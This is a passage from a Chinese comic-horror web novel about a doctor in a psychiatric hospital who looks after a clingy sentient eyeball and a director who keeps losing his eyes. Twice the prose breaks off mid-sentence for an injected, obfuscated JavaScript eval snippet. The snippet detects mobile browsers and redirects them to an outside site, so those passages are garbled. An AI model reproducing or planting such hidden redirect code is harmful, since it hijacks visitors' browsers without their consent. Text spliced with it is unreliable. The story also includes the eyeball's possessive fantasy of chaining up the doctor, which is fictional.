楚青到现在都没太搞懂为何诺大的医院里只有他这一个医生,更令他不解的是,在病人的描述中,自己曾经救治过无数患者。 或许有的吧,毕竟在他刚拿到病历本时,上面只有他一个人的名字,随着时间推移,原本空白的纸张逐渐被一张张病历所填满。 而那些在病历本上出现的,被他救治过后的病人,无一例外都会称呼他为医生。 虽然这件事听起来匪夷所思,但毕竟他也是个精神病人,精神错乱从而引发的认知紊乱,没准会导致一些失忆现象产生是再正常不过的事。 但没关系,在自己不知道的地方,他曾经在病历本上密密麻麻记录了每个病人的详细病例跟相应搭配的诊治过程。 而他只需要按照病历上对应的诊治方案作出诊断即可。 而有关院长那页记录的则是异食癖,诊治方案显示未完全痊愈,理应配合药物治疗。 护士按照上面所写的药物一一配置,但架不住院长怕苦到不行,不肯吃药,不能输液。 是的,不能输液,因为院长的泪腺相当发达,稍不留意,输进身体里的液体便会哗啦啦的,因为流泪而一滴不差的流淌出来。 或许楚青喊他出来是有这么个原因在里面,但也不能一篇概全。 为了将自己的窗户恢复如初,院长的作用也功不可没,好吧,说人话就是为了将人找来好报销。 直到他的手指传来痒意,就像被小猫抓挠,楚青才将眼神放在偷偷溜过来,试图蹭他指尖,从而教其心软,达到求抱目的的眼球上。 眼球见自己的行为终于引起了当事人的注意,还“嘤”了一声,声音似孩童啼哭。 楚青仔细端详了它片刻,忍不住职业病发作道:“奇了怪了,雏鸟会这么通人性吗?” 可能是为了欲盖弥彰,楚青一路上思考构思好久在自己超出凡俗的视觉幻视下,眼球的真正模样。 最后总结出来的是雏鸟,因为楚青在摸它的时候没感到全身覆盖着的绒毛的存在。 这就很大概率排除了是小猫小狗的可能性。 但有时候,他发现自己的触觉也会骗人,或许等某一天,在他的幻觉中,眼球会变成别的生物。 虽然他从未见过自己的幻觉出现偏差更改,但架不住他好奇。 因为眼球不可能一直都是如此这般小巧的模样,总归是有长大的一天的。 正想着,眼球又眨巴着嘤了一声,楚青几乎是条件反射般从口袋里摸出一个针管出来,还是未拆封的消炎针。 他先按压一下推进器,将里面的空气排放出来,随后看着眼球纠结不已,似乎是在思考从哪里下针比较合适。 “是生病了吗?要不要尝试打上一针?” 眼球……眼球一听见打针的字眼忍不住瑟缩了下,小心翼翼的将搭在楚青衣摆上还在左右晃的视神经收回来。 最后嗖的一下,它缩在不远处阳台的花盆里彻底不动了。 为了防止楚青发现它,它还伸进土里使劲钻了钻,并将扒拉出来的新土在自己埋进去后又重新扒拉了回来,笨拙费力的模样看着相当滑稽。 楚青侧身欣赏了一会儿,最终决定将眼球所在的花盆往阳光强烈处移了移。 * 院长是穿着人字拖匆匆赶来的,头顶还带着新鲜的泥土跟青翠叶片,看来在花坛那里待的时间不短。 “小青啊——”他试图商量着,“如果今天我能好好听话的话,明天的用药剂量能不能少上一些。” 但他紧急撤回了后面想要求饶的话,因为他知道,楚青绝对不可能如他所愿的。 院长主动退步道:“我想要输液,我会尽量止住哭泣的,所以我的那瓶葡萄糖可以加冰七分糖吗?” 后半句他很想说“如果你要是还做成常温我就要投诉你了”的话,但他没胆子说出口。 医院里本来就这么一个独苗医生,再作就没了。 来了,终于来了。 楚青抱臂想着,这样的事在他眼前没少发生,这些人一个个将治病服药当成了什么? 形容的就跟在点奶茶似的。 还有,他这里不是小吃街。 4. 第 4 章 楚青觉得自己是不是给他脸给多了,在他冷着一张脸向院长询问报销事宜时,后者这才注意到破开大洞,时不时有风吹进来的窗户。 “啊?你说这个啊,用不着找人前来,我能修。” 院长自告奋勇道。 楚青眼神存疑,质疑的意味都快要溢出来了:“你以前干过这种相关的活吗?” 在他印象里,反正是没怎么见过。 院长捏着幻想出来的胡子冲他挤眉弄眼:“放心吧,包在我身上。” 他站在窗户前细细看了下,似乎是在想从那里动手比较合适,并在短时间内琢磨出了点思路来。 “我记得地下室里放的有多余的能充当窗户的玻璃?” 楚青听见“地下室”三个字时还不免愣了下,因为他们这里只有一个地下室,而对应的当然是停尸间。 在设计之初,地下室就成了绝妙的停尸间专属位置,因为那里不仅阴凉潮湿,还鲜少有人进去,用来储存尸体再正常不过。 但因为占地面积比较大,后面变得不再局限于只放置尸体,更是另腾出一间房来放置杂物。 也不知是哪个天才想出来的主意,放置杂物的那间房间并没有安装房门,而其正对门又刚好对应停尸间的正门。 只需转头的功夫,在停尸间的门又恰好敞开时,就能目睹里面的骇人景象。 遗体存放区的独立冷藏柜里,躺着寥寥几个身体干扁,肢体僵硬的遗体。 临时停放台上没准还会额外放置着一个刚死没多久的,盖着白布,没遮掩住的双脚对着门口。 而那双脚又足够惨白,就像打上一层石蜡似的,完全不像活人的脚。 当然这都算不上什么,让楚青比较难忘的是,有次他拉来一个早已断头,脖颈处断裂位置流血不止的遗体来了这里。 但说是遗体又不太恰当,因为将手放置在“遗体”手腕上时,你甚至能清晰感受到脉搏的跳动声。 一下接一下,就像响在耳边似的,咚个不停。 在楚青拿起手术刀,戴上口罩打算解剖遗体时,面前的遗体突然睁开了眼睛。 这不是楚青第一次拿起停尸间里的手术刀,但绝对是迄今为止的最后一次。 而那具“死而复生”的遗体,现在成了他的得力助手,也就是现如今的护士小姐。 这是楚青头一次真正正视到自己与常人不同的地方,可能是幻觉致使的结果,导致他把一个活生生的人看成了一位断头女尸。 * “滴答——” 耳边响起了滴水声,感觉像是水龙头没关牢。 等楚青回过神来才发觉自己已经走在通往地下室的台阶上了。 院长的恳求跟爽朗道谢声似乎还在空气中传播着。 “小青啊,你是知道的,我的眼神不太好,只能麻烦你帮忙去地下室将玻璃取出来了。” 楚青捏着眉头,总感觉自己忘记了什么重要的东西。 可能是思考的过于专注,猝不及防的,他在下台阶时猛一踩空。 还好他平稳性可以,勉强稳住了,只是脚踝处红了一片,楚青只得扶着墙面缓慢前进。 不过这突如其来的一个踉跄倒是将他颠了个清醒,他现在有点好奇眼球在干什么,毕竟刚开始挺黏他的,此刻也不知会不会冒险跟上来。 这么想着,楚青不由得留意起脚底下的路况来,生怕一不留神就将眼球给踩在了脚下。 他大致估摸了一下自己的整只脚掌根眼球的整体尺寸,遗憾发现眼球还不够他一脚踩的。 第二脚上去估计就要爆汁了。 在门外光芒照不到的地方依旧是黑漆漆的,为了防止摔倒,楚青开始摸索起墙壁上的灯泡开关来。 他有好久没来过地下室了,没想到这里的地面还是一尘不染的,就像是有人来此经常打扫似的。 至于开关所在位置,他记得在哪里来着?好像是在最后几阶楼梯那里。 楚青寻着具体方位,摸索了好一会儿,才勉强摸到具体位置。 开关“啪”的打开的同时,地下室终于亮堂了一些,但不等楚青走上两步,他敏锐的发现水流声更重了。 如果说刚刚还是淅淅沥沥的,那么现在就像暴雨冲刷地面才发出的哗啦声。 但地下室里应该没有人才对。 楚青坐在最后一阶台阶上,原地缓和了好一会儿,确认脚踝没有刚刚那么疼痛后,便试探着出声喊了一声。 “有人吗?” 没有回应声,只有水滴在地面所发出的滴答声。 楚青想起只有停尸间才有洗手池,便用手扶着墙面撑起身体,一步步的朝停尸间走去。 脚踝处还在隐隐作痛,楚青本想一手扶墙,一手去拧门把手,结果还不等他指尖触碰上去,门便无声打开了。 根据医院的规定,在离开时,要及时将停尸间的门给关牢,倒不是害怕这些早就僵硬,前往天国的遗体突然来波诈尸,只是尸体放置的久了,哪怕是在冷冻条件下,也不过只是减缓了尸体的腐化过程,难免会有异味渗出。 所以停尸间的位置一般独立于患者活动区,并会与病房,餐厅等保持一定距离,防止异味或负面情绪的传播。 当然,为防止异味扩散,里面也会安有强制排风系统。 现在开了门,楚青能更清晰的听到机器运转的声音。 打开灯去看时,却空无一人,只有水龙头还依旧在往外淌水,眼看水池里的水早就漫过池子,滴滴答答的从水池边缘渗出来,楚青才发觉听到的水流动静来自于哪里。 经过正中央摆放着的临时停放台后,脚底处猛的一凉,楚青低头去看时,发现水已经流到了他的脚底下。 可能是地下室过于暗了些,灯光并没有将黑暗驱散完全,现在去看水池时,仿佛那里面盛的不是水,而是满满当当的,猩红暗沉的鲜血似的。 楚青闭眼睁开再去看时,水池里的水还是清澈干净的,又是幻觉一场。 他关掉水龙头后,发现脚边的废物回收桶旁边多了一个放置拖把的大红色水桶。 只是里面只有半筐污水,并不见拖把的半分影子。 是清洁人员下来清扫来了? 这是楚青看见水桶后的第一反应。 他记得自己曾经治疗过的一个病人主动在治愈完全后担任起了清洁工的打扫工作。 说是要将他所居住过的整栋房子都打扫的干干净净的。 只不过他扫地的手总容易断,所以不得不用针线缝合起来,他本来是抱着将扫帚跟鸡毛掸子一并缝在左右手的想法的,只不过楚青将他劝回了正轨。 楚青并不确定他是否真的来过这里,但他的随身装备确实是这只大红桶没错。 他没有过多停留,确认别的并无差错后,边打算前去杂物间。 因为停尸间地板上还有不少清水停留上面,他本来是想着要先去拿拖把将水擦干净的,但奈何找了半天却并未在附近找到拖把的踪迹来,便只能抱着试一试的心思来杂物间碰碰运气。 在思索是否将停尸房的门关牢时他还犹豫了下,毕竟万一门开了,尸体脚对着他所在的房间挺不吉利的。 楚青这才将门关上后,才又小心着脚踝上的伤口并抬脚去了杂物间。 这时他仿佛听见了不远处,大抵是地下室入口处传来的敲门声。 但比起敲门,那滋啦滋啦的噪声更像是挠门才对。 好像还隐约有说话声响起,但离的有些远了,他并未听清说的的什么。 * 地下室门外。 虽然楚青听不真切,但刚装上眼球的院长却听得清清楚楚,那声音就像是在脑子里面响起似的。 “为什么开不开?为什么呢?” 这是沐枯的声音,只不过它现在并不是一颗弱小无助的眼球,它现在被掉落眼球的院长抓错,成功入住在了院长的身体里面。 虽然进去的时候有聒噪的吵闹声一直在耳边炸响,但沐枯奇迹的发现自己居然能控制起这个身体来。 在自己尝试操控身体,不太熟练的挪动四肢,一瘸一拐来到楚青所在的地下室门口时,他发现自己打不开房门,只能颓废的蹲在地上,用指甲一下没一下的挠门发出动静,企图吸引到楚青的注意。 别的还好,只是脑子里的声音很是聒噪,吵着他去想念他的“妈妈”了。 但原本是身子主人的院长只觉得见了鬼,他在安错眼球的那刻连后悔的机会都不曾拥有,就惊讶发现自己的身体已经不受他的掌控了。 他试图抗争,但却被从眼球位置传来的来自于“王”的威慑震得大气不敢喘,现在好不容易想要呼喊自己的“王”,企图多喊几遍吸引到王到注意,但没想到王却只把他当成了杂音对待。 为了尽早恢复自己的身体使用权,他只能接着呼唤:“王,王,您能听见我的声音吗?” 话音刚落,跟沐枯共用一个视力的院长见自己粗糙沙哑的声音对着紧锁的门恶狠狠来了句“聒噪,噪音又来了”。 还接连不断的响,都影响到他想念“妈妈”的思路了。 院长:“……” 他没别的意思,他只是想告诉王地下室的门压根没有上锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621980|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是他拧门把的动作不对而已。 * 地下室里,楚青还在一步步的试探摸索着杂物间的灯光开关。 在黑漆漆的室内摸索了大概有个十来分钟后,他才有些懊悔自己没带手电。 那他的手机呢?摸去的口袋里空荡荡的,不出意外的话,他的手机此刻正躺在病历本旁边,板板正正的充着电。 提及病历本的同时,他想到了当时自己打算翻看病历本时,原本掀开放着的那页,是有关沐枯的。 楚青本来没多在意,直到他的目光无意瞟向了病例那一栏上。 诈骗犯暂且不说,但后面的认知错乱,以及括号里跟着的描述——乱认妈这三个字看得他一愣,一股熟悉的感觉扑面而来。 楚青几乎一下子就想到了眼球,这跟他的症状完全符合。 但自己是怎么知道眼球的名字的呢?他完全不记得自己有问过。 可能是他之前写下的,后面又失忆记不起来了? 很有可能,他将病历本翻到了扉页,同时指腹在他的名字上摩挲了下,抿唇不语。 这下子总不能是他的错觉了,他的症状在无意间加重了。 在楚青临走时,病历本可能是顾及着他刚刚的行径,自己翻到了最后一页,那上面竟记载着跟扉页一模一样的内容。 只不过在它要翻下一页时,却只剩下了书页的撕毁痕迹,撕的还相当齐整。 病历本不知想到了什么,便自顾自的在记录着楚青病历的那页上添上了“诡异医生”,“非人类”的文字。 只不过不等它添上,文字反而立马消散了下去,任凭它如何想要往上添加都无济于事,病历本跟自己斗智斗勇一番后,被搞得身心俱疲。 它只能看着自己刚添上不到一秒的字迹被再度抹除,气呼呼的合上本子,闭上眼睛后,便沉沉睡去了。 * 楚青这边,他还在为找开关而费心费力着,最后功夫不负有心人,总算找到开关了。 但老旧灯泡实在不太给力,只闪了一下后边熄灭过去,连回光返照的机会都不曾拥有。 同时,楚青感到自己脚底下好像踢到了什么东西,软软的,再结合刚刚灯泡亮起时,一闪而过的清明来看,应该是个人。 没等他再踢上一脚,黑暗里出现了一位老者的说话声:“楚……医生?” “是我。”楚青答道。 老者拍拍自己身上散落的灰尘,睁开浑浊的眼睛道:“我不是在打扫卫生吗?怎么就睡过去了呢?” 说着,他看向了楚青,明明他的眼球浑浊的就像一滩死水,但瞳孔中却能清晰的映出楚青的影子,简直比浴室里照人的镜子还要清晰上几分。 “楚医生,您怎么来了这里?” 楚青交代完缘由后,老者主动扛起了找玻璃的重任,他站起身时脊背异常挺直,完全不像一个年过半百,快要过八十大寿的老年人。 “我记得地下室里有蜡烛来着,我放哪里了呢?” * 地下室外的抓挠声逐渐变成了一个敲门声,还随着时间的推移愈演愈烈。 托那一把粗粝大嗓门的福,楚青总算听到了院长的喊叫声,只不过喊的尤为怪异。 “妈妈,妈妈过来。” 这让楚青一度怀疑自己出现了幻听,直到地下室的门被彭的一声撞开,他亲眼瞧见一位刚驯服四肢的人影从楼梯上跌跌撞撞的走下来。 但走路的姿势不仅怪异,还极其不协调,就像是刚刚蹒跚学步的小孩。 楚青想,不对劲,十分里有十二分不对劲。 在他身后,老者还为他刚找到蜡烛而兴奋着。 “啊,找到了,在这里,等我摸一下打火机。” “幸好我经常吸烟,就留有了带打火机的习惯。” “马上,马上就好。” 等室内亮起火光时,楼梯上的那位终于还是摔了个狗吃屎。 他一头栽倒在地上,眼珠子承受不住如此剧烈冲击,主动脱离了眼眶。 楚青借着火光,看到一颗葡萄似圆润的东西滚了半天,终于在他脚尖处停了下来。 那一瞬间,他想到了经常在网上刷到的碰瓷视频。 这种不安的预感在眼球慢吞吞的抬眼看向他时更加强烈。 眼球像受了莫大的委屈,此刻正如一个等待大人安慰的孩童,而那个它所粘着喜欢的人却压根不愿意将它捧起来抱它。 “妈妈……”楚青刚“嗯”了一声,下一秒眼球就跟个猫咪似的,一下子跳起粘在了他的裤脚上。 “别不要我。” 5. 第 5 章 在花盆里,当那道人影从他视线中消失时,沐枯本能的想要抓住。 可不消片刻,他便看着门口发呆。 他为什么试图想要抓住呢? 又或者说,他真正想要抓住的是什么东西呢? 他说不上自己对楚青究竟怀着怎样的感情,可能真像雏鸟第一眼将自己所见之人认做妈妈时所展现出来的“雏鸟情结”。 但他的内心无比清楚,炙热的渴望着,他渴望获得楚青的怜惜,渴望这人的视线一直停留在他的身上,渴望这人会是他的。 也只能是他的。 虽然楚青不是他第一个遇见的人,但却是他遇见的最漂亮的,全身散发着诱人气息,好像教人一口吞掉。 不是来自于食物的那种吞,而是来自于对美好事物的疯狂迷恋。 还有楚青的血,只是舔上一口便叫他欲罢不能,就好像全身上下被烈火灼烧似的,只需再轻微添上一把火力,便能将他烧个干净。 但那时他才不过品尝了一点而已,估计吸血量连蚂蚁都淹不死。 他喝不过瘾,怎么也喝不过瘾,如果可以,他还想再尝上一口。 这样想着,他便偷偷将自己的视神经伸出来,往楚青的裤腿底下探了探。 突来的茉莉花的香味萦绕在他的鼻尖,沐枯辨认好一会儿,认出这是楚青身上所带的沐浴露的味道。 妈妈香香的,更想吃了怎么办。 * 楚青本来脚踝还在痛着,弯腰的时候某一瞬间伤口刺痛了下,他忍着脾气将眼球从自己的裤腿处捞出来。 “你在干什么?” 有关这一点,院长也有此问,还好他的另一只眼球没丢,要不然就是真正意义上的睁眼瞎了。 他扶着自己还未掉的那颗眼球唉声叹气好一会儿,直到嘴巴里出来铁锈味,紧接着鼻梁一热,伸手一抹一手鲜血后,院长终于不淡定了。 “小青啊,我是不是快没救了啊。” 楚青白了他一眼:“你现在还能面对面站着跟我说话,证明还没死透,等死透了再说。” 院长一个年过半百的小老头呜呜咽咽好半天,开始埋怨起楚青的不尊老爱幼来。 楚青懒得再理,因为院长为了逃避吃药无所不用其极,就连装死这种缺德事也干得出来。 拿着蜡烛的清洁工老人也有话要说,他将落灰的玻璃从一堆杂物中捞了出来,还试图用鸡毛掸子清理上面的浮灰。 “我不会安这种东西,你们谁会?” 他说着,将目光落在自己放置在门后,差不多快控完水的拖把上:“我现在要去对门打扫卫生。” 这下子他总算想起了自己的失误:“对了,停尸间的水龙头还开着呢。” 楚青拍拍他的肩膀示意他安心下来:“不用担心,我已经关了。” “那就好那就好。”老人拍着胸脯,见刚刚的问题无人应答,便打算掏出手机来打算联系专业师傅前来。 在扒拉着手机页面时,他还不忘在开始之前冲楚青问了句:“楚医生,你觉得怎么样?你同意吗?” 在问出这两句话时,楚青发现,老人的眼神看过来的眼神格外认真而专注,火焰映射在他瞳孔中的火苗来回跳跃着,就像一个虔诚的信徒,在赢得征求至高无上的神明主子同意似的。 可楚青深知自己不是神明,他也不过是一个再平常不过的普通人罢了。 但老人追随着他的视线一直没有变过,仿佛没有他的同意这件事便办不下去似的。 在他印象里,这样的事情好像并不常见,但每一次只要他点头认可,事情的进展就像打通任督二脉般的顺利。 而有关精神病院里外人来访的记录屈指可数,少到楚青甚至压根没有这方面的任何印象。 楚青正想答应,好不容易止住哭泣的院长举起手来,跃跃欲试:“让我试试吧。” * “彭——” “啪——” 玻璃从二楼窗口掉落,在地面上碎成几瓣后,确认没有任何挽回余地的院长心虚的吹着口哨,将刚装上去的眼球从眼眶里重新取下,开始扮起鬼脸装无辜。 “小青啊,我经常性手抖,我年轻时候可是这方面的得力干将,只是这一次就差一点,没能稳住而已。” 楚青是被玻璃摔碎的动静震醒的,在他睁开眼睛坐起身时,一直趴在他肩膀处闭眼休息的眼球差点从上面滚下来。 还是楚青眼疾手快的将它接住并放回了原本位置,与此同时,他还用指尖蹭了蹭眼球的一侧,就像撸猫似的。 看得院长都想亲自拿来一把猫条过来了。 院长轻咳了两声,不知为何觉得这样的画面过于诡异,他曾经是王手下的助手之一,也没想到自家王竟然对楚医生如此亲昵,就像对待恋人似的。 他干巴巴的打算出声去呼唤自己的王时,刚开口就被眼球一道犀利视线瞪的闭了嘴巴。 那眼神中的意思再明显不过,大致就是让他赶紧走开,不要打扰自己跟楚青亲近的意思。 院长只能老实合上嘴巴,打算下次寻找合适时机再向其询问清楚王无故消失许久的事。 “啊,我去地下室再看看有没有多余的玻璃,你们聊,你们慢慢聊。” 这个“聊”字运用的就很有意思。 楚青刚从手机中回过神来,猝不及防就接受了院长这一番客套的话,尤其是院长在说话时,眼睛一直都没能从他肩膀处的眼球那里离开过,而且眼神中还带有他不懂的情绪,敬畏跟惊惧在里面同时呈现。 这样杂糅又对立的情绪出现的不清不楚,福至心灵,楚青禁不住往自己的肩膀处看去。 眼球用一种近乎撒娇卖萌的眼神望着他,眼底里有他看不懂的情绪,仿佛只要楚青不赶它走,它就能一直不眨眼,就保持着这样的状态痴痴看下去似的。 视神经来了劲儿,主动伸在半空企图讨好他。 “妈妈,贴贴。” 可能是被叫的次数多了,楚青居然习惯了眼球喊他妈妈的称呼,此时在指尖被温热东西缠上,而且那东西居然还想将吸盘中的倒刺伸出,企图想要刺破皮肤,吸他血时,他及时清醒了过来。 楚青发现眼球有一种特殊的魔力,只要对着他的瞳孔看久了,就很容易陷进去,仿佛下一瞬就会被其肆意玩弄,搅合得身体乱七八糟似的。 可那只是一颗眼球,可怜又无辜,在他面前毫无攻击力。 不管楚青是怎么想的,反正沐枯是心满意足了,他成功用自己的触手贴到了香软身体。 而现在,它企图想要更近一步,因为它发现比起手指,妈妈的怀里似乎更香一些,而且妈妈那里粉粉的,白白的,触感一定也美妙极了。 它现在满心满眼都是楚青衣领处露出来的那一截白皙锁骨,尤其是凹陷的地方,简直是它的梦中居所,它自我估量来一下,发现上面趴下一个他完全不是问题。 沐枯在脑内搜刮好久,发现自己连撩拨的门道儿都没有,搜肠刮肚好久,才慢吞吞的挤出几个字。 “妈妈,要妈妈抱。” 就因为这一句话,楚青有关眼球的滤镜一晃而散,他现在觉得自己就跟个带半大小子的幼师似的。 为了更大程度的赢得楚青的关注,眼球尽可能将自己的声音放软,这样的声音落在人的耳朵里时颇有几分撒娇意味。 这样一来,楚青觉得自己带坏小孩子的即视感更重了。 本来沐枯对于“抱”这件事的实施不抱太大希望,因为它跟妈妈才认识不到三天,人类有句话叫什么来着——日久生情。 妈妈总会在未来的某一天愿意心甘情愿的接受它的全部,直至对它敞开身体,烙印在灵魂深处。 但出乎他意料的是,楚青回应了他的请求,将他从肩膀摘了下来。 沐枯一个晃神,就见眼前有两片粉嫩在他面前晃啊晃的,直晃得他心神荡漾。 来了来了。 他在心里发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621981|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了土拨鼠般的尖叫来。 妈妈是不是打算亲他? 他虽然现在只是一颗眼球,但是他是一个成熟的,经历过大风大浪的眼球,他要矜持,一定要矜持。 人类一般会用什么样的东西求娶呢? 钻戒,亮晶晶,闪亮亮的钻戒。 如果……如果妈妈愿意的话,他想给妈妈订最大最亮的钻戒。 他记得自己被狡诈无耻的人类用阴谋诡计炸的只剩下一颗眼球后,在原先居住过的地方存的还有好多好多的钱。 具体有多少他也记不清了,可能是受了人类的影响,以前他觉得这些纸片类的东西毫无意义,还满是铜臭味。 但现在窝在红彤彤的钞票叠放堆积成的钱堆里,他居然奇迹的感到了安心与幸福。 如果不是某次出门被诡异检查机构的成员撞了个正着,他也不至于如此狼狈。 但没关系,他现在很开心,比当时躺在钱堆里还开心。 毕竟钱可以再赚,但是妈妈只有一个。 而他现在很喜欢他的妈妈。 想拐走,想把他用锁链锁起来,关在自己卧室里,想看他意乱情迷的模样,想听他克制不住而溢出口来的动听喘气声。 想握住他的手指,痴情纠缠,连接进入最深处的位置。 他看过电视,得知妈妈是人类对其最亲密的人的称呼。 他很乐意让楚青做他的妈妈。 在身体被楚青揪起,悬在半空中时,沐枯还在试图想象那两片唇瓣的柔软触感,也不知妈妈的口水是个什么味道。 楚青哪里都是香喷喷的,那里肯定也是香的。 怎么办——好想跟妈妈交换口水。 * 在将眼球拎在眼球细细打量的三分钟里,楚青发现了奇怪的现象。 因为眼球眼神里出现了不下五种的不同情绪,只是在楚青自认为的幻觉中,他看不到眼球的脸。 他想,那张脸上的表情也一定丰富极了。 但他目前的主要目的是想要眼球在他眼皮子底下安生一些,因为他总是乱动,现在以他对眼球所看向的位置跟情绪所推断。 眼球现在好像格外热衷于要钻进他怀里。 楚青其实挺怕痒的,万一眼球上所附带的触手从他腰上扫过,简直是在诱人犯罪。 他正纠结着,手指无意间点开了某个网站上的视频。 而刚好又是育儿栏目,视频里戴着红框眼镜,穿着齐整的主持人用标准的播音腔,对着镜头说道。 “目前是标准时间,十四点二十一分。” “现在诡异盛行,要注意保护孩子不去往无人或者有诡异出没的地方,根据权威机构划分,城区A十三区是诡异盛行地区……” 但这些话落在楚青耳朵里,就像自动过滤似的,他只听到了“注意安全”,“不要在危险地方出没”等一系列毫无影响的话来。 他不禁有些感叹是最近的城市治安直线下滑了吗,否则育儿栏目的主持人怎么会花费这么多时间来进行安全宣传。 在他即将没有耐心倾听时,主持人话锋一转,总算步入来正题。 他敲黑板道:“如果可以,家长可以适当陪同孩子们观看一些具有教育意义的动画片来……” 这句话,楚青认真听进去了。 至于沐枯,他一见到育儿俩字时就愣住了,现在满脑子被另一个疯狂念头所填充。 在楚青将它放到右手边的沙发上时,它只原地停顿了两秒。 妈妈喜欢孩子吗?应当是喜欢的,都看得移不开眼了。 既然妈妈喜欢,那他也喜欢。 它可以的,它能生! 楚青刚在搜索引擎中将“什么样的动画片才对孩子有益”输入进去,下一秒雪白衣领上就窜上来一个东西,撞得不轻不重。 眼球顺利跳在他的胸前,楚青只需低头就能看见。 沐枯涨红的好像能滴出血来:“妈妈,你想要几个啊?” 6. 第 6 章 楚青眨巴着眼睛,漂亮瞳孔里是止不住的疑惑。 几个?什么几个? 他转头看了一眼窗外,是白天没错啊,怎么就开始做起白日梦来了呢。 楚青被这句话问得找不着北,他觉得自己有必要戴上眼镜,翻看病历书仔细研究一下了,因为眼球病的好像比他想象中还要严重。 见楚青并不想搭理他后,眼球迅速干扁下来,整只眼球仿佛都缩水变小了一圈。 它用视神经做手指,蘸着眼泪在布料上画圈圈。 妈妈……妈妈怎么不搭理他了? 妈妈……妈妈果然是不爱他了。 在眼球原本的计划里,他本来打算背过身去,小生一下闷气,但在听到楚青手机里响起的海绵宝宝的声音后,更加破防了,破防的差点没稳住情绪,再度哭出声来。 但其实它的眼泪已经落在沙发上了,通过它底下沙发布料的湿润程度就可以发现。 楚青叹了口气,感慨爱哭的孩子可比一般熊孩子难带多了,像王杰那样的,只要一说惩罚的话来,不消半秒,便能迅速安分老实下来,但沐枯不一样,他甚至都没能搞懂这位的哭点在哪,更别谈安慰了。 而且现在还不让他摸了,拼命往沙发缝隙里缩去,说着他听不懂的话来。 “黄黄的,我生不了,呜呜呜呜呜,笨笨……” 从没带过孩子的楚青额上冒起了青筋,差点没把手里的手机捏碎。 要不还是一脚踩死算了,一了百了。 * 那扇窗户到底还是没有修好,而且某位不安分的老人差点让楚青加班。 在精神病院里,谁都清楚院长在走动期间总容易不小心将自己的眼球弄碰掉,护士提醒过无数次,对于她同样不遑多让,经常性掉落的头颅,她也试图想尽办法拯救,最近楚青听她说,她在网上认真学习了缝制方法,正打算最近在空闲时间里试上一试。 但院长是个没心没肺的,可能是觉得总有人会帮他将掉落的眼球捡起并归还回来,便开始变得有恃无恐起来。 今天又是为他掉落的眼睛担惊受怕的一天,这不是他第一次在地板上见到院长掉落的眼球了,感觉比夏天的蚊子还要常见。 “院长。”楚青的嗓音听着很是无奈,“不是告诉过您,不要将碗里的玉米粒倒出来,并在上面来回打滚吗?” “看,眼睛都沾上玉米粒了。” 走廊里空荡荡的,没听见熟稔的回应,肇事者显然还没来到现场。 楚青蹲在走廊地板上,习惯性用镊子夹起那颗湿漉漉的眼球。它的视神经拖在身后,像一条死去的蚯蚓。 他将上面粘连的玉米粒处理干净后,便对着灯光检查玻璃体里漂浮着细小的黑色絮状物。 “角膜划痕比昨天少了两道。”他轻声记录,笔芯在纸张上发出沙沙声。 “但房水浑浊度增加了。” 楚青越检查越觉得有意思,自己的妄想症在逻辑自洽方面还是独一档的存在。 以前他还并不这么觉得,现在发现他幻觉里所看见的东西都跟真的似的。 不等他记录完,走廊里出现了拐杖拄底声,院长沙哑的声音从走廊尽头传来。 “小青啊……我看不清了……” 白发老人趴在地上,裸露的大脑皮层拖出一道黏腻的痕迹,上面同样粘连不少新鲜的玉米粒。 他的左眼眶空荡荡的,右眼则诡异地转动着,瞳孔收缩成针尖大小。 “马上就好,院长。” 在安装眼球的同时,楚青有些恶意的想,如果真要再掉下来,他可就要在网上下单一支520强力胶水来了,他最近没什么想买的东西,而且有张立减五块二的优惠券还有三天就要过期了。 看着院长拖拽在地上的脑浆,楚青难得犯了洁癖:“你可以找护士,刘小姐那儿去取一下经,或者你找他帮你缝合一下开花的脑袋也行。” 以前在得知自己有妄想症时,楚青还尝试用各种正常物品来替代自己眼中所看见的惊悚场景,在某一次说漏嘴后,他发现并没有人感到吃惊。 自己的病友们对于楚青口中描述出的惊悚景象接受度良好,可能是同为病友的那份惺惺相惜在里面,所以没人将楚青视为异类。 有些时候,他们还能顺着楚青话里的场景接着说下去,所以在楚青眼中,这所精神病院所居住着的所有住户都是很好相处的人。 哪怕有时顽皮了点,但在称呼他为医生这块的态度却是恭恭敬敬的。 楚青深呼吸一口气,试图将自己烦躁的心情压下来。 “地面挺脏的,”他顿了一下,接着道:“哪怕拖过地也脏。” “我也想啊,”院长用双手托住自己的头颅,防止里面的脑浆乱晃:“这就是她给我缝合的结果,本来缝的好好的,但针突然不知怎么就断了,刘小姐觉得没有一针缝合到底不太吉利,便将刚缝合好的那大半重新拆开了。” “她人呢?” “她现在嫌弃我脑壳太硬,生怕再不小心将针给扎折了,现在正在网上搜索详细教程想办法呢。” 楚青:“……” 这个线,也不是非缝不可。 * 外面并没有下雨,但受突然降临的台风影响,大敞开着的室内飘进来好多落叶,卷着尘土浩浩荡荡的吹拂进来,稍不留意,室内就积满了灰尘。 可能是因为不好意思,院长主动将自己的房间让了出来,不知从哪里抬来的床榻,就跟他的床隔了几米距离,床上的被褥还是新的。 楚青在床边坐着处理他受伤的脚踝时,他主动拿来了红花油还另外端来一杯热牛奶。 但这些还远远不够,他又开始招呼厨房里的厨子开始炖大猪蹄子,因为吃哪补哪。 